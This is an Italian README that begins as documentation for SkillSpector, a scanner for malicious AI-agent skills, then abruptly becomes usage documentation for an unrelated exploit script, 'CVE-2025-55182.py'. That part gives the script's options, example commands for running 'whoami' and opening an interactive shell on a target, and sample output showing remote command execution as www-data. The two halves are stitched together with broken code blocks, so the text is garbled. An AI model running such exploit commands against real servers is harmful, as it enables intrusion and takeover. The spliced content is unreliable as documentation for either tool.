SkillSpector v2.8.2
Scanner di sicurezza per le skill degli agenti AI. Rileva vulnerabilità, pattern dannosi, rischi di sicurezza, prompt injection, esfiltrazione di dati e rischi della supply chain nelle skill di Claude Code, Codex e MCP prima di installarle.
SkillSpector
Scanner di sicurezza per le skill degli agenti AI. Rileva vulnerabilità, pattern malevoli e rischi di sicurezza prima di installare le skill degli agenti.
Panoramica
Le skill degli agenti AI (utilizzate da Claude Code, Codex CLI, Gemini CLI, ecc.) vengono eseguite con fiducia implicita e una verifica minima. Nel sottoinsieme di 31.132 skill analizzate del dataset di ricerca, il 26,1% delle skill contiene vulnerabilità e il 5,2% mostra una probabile intenzione malevola.
SkillSpector ti aiuta a rispondere alla domanda: "Questa skill è sicura da installare?"
SkillSpector fa parte della pipeline NVIDIA Verified Skills, che analizza, valuta e firma le skill degli agenti prima della pubblicazione. Le skill che superano i controlli vengono pubblicate nel catalogo delle skill NVIDIA.
Documentazione
- Scansiona le skill degli agenti prima dell'installazione — Guida ospitata: quando eseguire la scansione, come leggere un report e come bloccare le installazioni.
- Guida allo sviluppo — Architettura, struttura dei pacchetti e come estendere la pipeline di analisi.
- Limiti delle risorse di analisi — Bundle fail-closed, parser, artefatti annidati, ledger e limiti dei risultati.
- Estensione Pi — Installa SkillSpector come strumento Pi per scansionare le skill dall'interno delle sessioni degli agenti.
- Estensione OpenCode — Installa SkillSpector come strumento OpenCode e comando
/skillspectorper scansionare le skill dall'interno delle sessioni degli agenti.
Funzionalità
- Input multi-formato: scansiona repository Git, URL, file zip, directory o singoli file
- 71 pattern di vulnerabilità in 17 categorie: prompt injection, esfiltrazione di dati, escalation di privilegi, supply chain, agenzia eccessiva, gestione dell'output, fuga del system prompt, avvelenamento della memoria, uso improprio degli strumenti, agente rogue, anti-rifiuto, abuso dei trigger, codice pericoloso (AST), taint tracking, firme YARA, privilegio minimo MCP e avvelenamento degli strumenti MCP
- Analisi in due fasi: analisi statica rapida + valutazione semantica LLM opzionale
- Ricerche di vulnerabilità in tempo reale: SC4 interroga OSV.dev per dati CVE in tempo reale con fallback offline automatico
- Molteplici formati di output: report in Terminale, JSON, Markdown e SARIF
- Punteggio di rischio: punteggio da 0 a 100 con etichette di gravità e raccomandazioni chiare
- Baseline / soppressione dei falsi positivi: accetta risultati noti tramite una regola glob o una baseline di fingerprint, così le nuove scansioni evidenziano solo i problemi nuovi (documentazione)
Avvio rapido
Installazione
Avviso sul software open source: Questo progetto scaricherà e installerà ulteriori progetti software open source di terze parti. Esamina i termini di licenza di questi progetti open source prima dell'uso.
Crea e attiva prima un ambiente virtuale (tutti i target di make presuppongono che il venv sia attivo). Usa uv o pip; il Makefile usa uv se disponibile, altrimenti pip.
Installazione rapida con uv (solo CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git
Update later: uv tool update skillspector
Se prevedi di eseguire `skillspector mcp`, installa l'extra MCP al momento dell'installazione:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
Dalla fonte:```bash
Clone the repository
git clone https://github.com/NVIDIA/skillspector.git cd skillspector
Create and activate virtual environment
uv venv .venv && source .venv/bin/activate
or: python3 -m venv .venv && source .venv/bin/activate
Install for production use
make install
Or install with development dependencies
make install-dev
### Docker (nessun Python richiesto)
Esegui SkillSpector senza installare Python compilandolo localmente dal [Dockerfile](https://github.com/nvidia/skillspector/blob/main/Dockerfile) incluso. L'immagine si basa sull'immagine Docker Official Python `3.12-slim-bookworm`.
**Compila l'immagine:**```bash
make docker-build
# or: docker build -t skillspector .
Scansiona una directory locale montando la tua directory corrente in /scan, la directory di lavoro del container:```bash
docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm
**Scansione con analisi LLM** passando le credenziali tramite un file `.env` locale:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF
Utilizzo
python3 CVE-2025-55182.py -u <URL> [opzioni]
Opzioni
| Opzione | Descrizione | Predefinito |
|---|---|---|
-u, --url | URL di destinazione (obbligatorio) | - |
-c, --cmd | Comando da eseguire | id |
-t, --timeout | Timeout della richiesta in secondi | 10 |
-v, --verbose | Abilita output dettagliato | False |
--check | Modalità di verifica della vulnerabilità | False |
--shell | Modalità shell interattiva | False |
--proxy | URL del proxy (es. http://127.0.0.1:8080) | None |
--headers | Intestazioni personalizzate (formato JSON) | None |
--cookies | Cookie (formato stringa) | None |
--no-color | Disabilita output colorato | False |
Esempi
Verifica della vulnerabilità:
python3 CVE-2025-55182.py -u http://target.com --check
Esecuzione di un comando:
python3 CVE-2025-55182.py -u http://target.com -c "whoami"
Shell interattiva:
python3 CVE-2025-55182.py -u http://target.com --shell
Con proxy:
python3 CVE-2025-55182.py -u http://target.com --proxy http://127.0.0.1:8080 -c "id"
Con intestazioni personalizzate:
python3 CVE-2025-55182.py -u http://target.com --headers '{"Authorization": "Bearer token"}' -c "id"
Con cookie:
python3 CVE-2025-55182.py -u http://target.com --cookies "session=abc123" -c "id"
Esempi di output
Verifica della vulnerabilità
[*] Verifica della vulnerabilità di http://target.com
[+] Il target sembra VULNERABILE!
[+] Payload inviato con successo
[+] Tempo di risposta: 0.523s
Esecuzione di un comando
[*] Target: http://target.com
[*] Comando: id
[+] Invio del payload...
[+] Comando eseguito con successo!
--- Output del comando ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
--------------------------
Modalità shell interattiva
[*] Target: http://target.com
[*] Modalità shell interattiva
[*] Digitare 'exit' o 'quit' per uscire
shell> whoami
www-data
shell> ls -la
total 48
drwxr-xr-x 1 root root 4096 Nov 15 10:30 .
drwxr-xr-x 1 root root 4096 Nov 15 10:30 ..
-rw-r--r-- 1 root root 220 Nov 15 10:30 .env
...
shell> exit
[*] Uscita...
Funzionamento
Il tool sfrutta CVE-2025-55182, una vulnerabilità di prototype pollution in React Server Components che porta a RCE (Remote Code Execution).